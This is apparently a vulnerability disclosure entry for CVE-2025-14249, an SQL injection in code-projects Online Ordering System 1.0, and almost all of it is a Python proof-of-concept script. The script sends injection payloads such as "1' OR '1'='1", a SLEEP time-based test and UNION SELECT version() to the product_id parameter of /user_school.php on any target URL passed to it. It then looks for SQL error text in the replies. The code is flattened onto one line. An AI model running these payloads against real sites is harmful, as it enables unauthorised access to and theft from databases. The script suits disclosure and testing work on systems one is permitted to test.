CVE-2025-14249: code-projects在线订餐系统1.0存在SQL注入漏洞

import requests import sys # CVE-2025-14249 SQL Injection PoC # Target: code-projects Online Ordering System 1.0 # File: /user_school.php # Parameter: product_id def exploit_sqli(target_url, payload): """ SQL Injection exploit for CVE-2025-14249 Tests for blind/time-based SQL injection on product_id parameter """ target = target_url.rstrip('/') + '/user_school.php' # Test payload for SQL injection detection test_payloads = [ "1' OR '1'='1", "1' AND SLEEP(5)-- -", "1' UNION SELECT NULL-- -", "1' UNION SELECT version()-- -" ] for payload in test_payloads: params = {'product_id': payload} try: response = requests.get(target, params=params, timeout=10) print(f"[*] Testing payload: {payload}") print(f"[*] Status: {response.status_code}") print(f"[*] Length: {len(response.text)}") # Check for SQL error messages indicating vulnerability if 'sql' in response.text.lower() or 'error' in response.text.lower(): print("[+] Potential SQL injection detected!") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target_url = sys.argv[1] print(f"[*] Starting CVE-2025-14249 SQL Injection test...") print(f"[*] Target: {target_url}") exploit_sqli(target_url, '')